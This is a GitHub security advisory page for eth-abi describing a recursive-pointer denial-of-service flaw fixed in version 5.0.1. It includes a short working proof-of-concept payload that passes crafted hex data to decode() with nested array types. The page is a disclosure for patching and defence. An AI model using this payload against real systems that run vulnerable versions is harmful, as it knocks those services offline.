# GHSA-3QWC-47JF-5RF7: eth-abi is vulnerable to recursive DoS

- Database: GitHub
- Severity: medium (stated by ghsa, no CVSS score)
- Published: 2024-03-05
- Modified: 2026-09-01

## Affected versions

- eth-abi (PyPI): fixed in 5.0.1

## Description

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

```py
from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
```

## References

- https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7
- https://github.com/ApeWorX/eth-abi/pull/226
- https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269
- https://github.com/ethereum/eth-abi

Page: https://cve.now/GHSA-3QWC-47JF-5RF7

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
